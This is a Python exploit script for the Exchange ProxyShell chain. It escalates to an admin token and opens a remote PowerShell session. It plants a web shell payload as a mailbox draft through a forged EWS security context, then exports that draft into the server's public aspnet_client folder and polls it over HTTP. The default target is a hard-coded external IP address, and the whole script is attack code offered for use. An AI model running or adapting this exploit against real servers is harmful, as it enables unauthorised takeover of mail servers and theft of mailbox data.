#!/usr/bin/env python3
# Dump the raw exported file to determine format (PST vs aspx)
import sys, time, random, re
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

ip = sys.argv[1] if len(sys.argv) > 1 else '185.178.255.156'
ext = sys.argv[2] if len(sys.argv) > 2 else 'txt'
ps = P.ProxyShell(f"https://{ip}", timeout=20)
print("fqdn:", ps.get_fqdn())
ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)

def run(s):
    o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]

subj = "DUMP" + P.rand_string(6)
# make a draft using the same method
def createitem(sidv, subj, payload, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, P.webshell_payload(), mail)
r = ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, None, ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
print("draft:", 'OK' if 'ResponseClass="Success"' in r.text else r.text[:150])
time.sleep(2)
for st in ('Completed','Failed','InProgress'):
    try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
    except Exception: pass
name = "dump" + P.rand_string(5) + "." + ext
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
cmd = 'New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "%s"' % (ps.email, subj, unc)
print("export:", run(cmd))
url = f"https://{ip}/aspnet_client/{name}"
for i in range(6):
    time.sleep(5)
    try:
        r = requests.get(url, verify=False, timeout=20)
        print(f"poll {i} code={r.status_code} len={len(r.content)}")
        if r.content:
            c = r.content
            print("MAGIC:", c[:8].hex(), repr(c[:8]))
            print("HEAD:", repr(c[:400]))
            print("HAS <script:", b'<script' in c, " HAS JScript:", b'JScript' in c)
            break
    except Exception as e:
        print("poll err", e)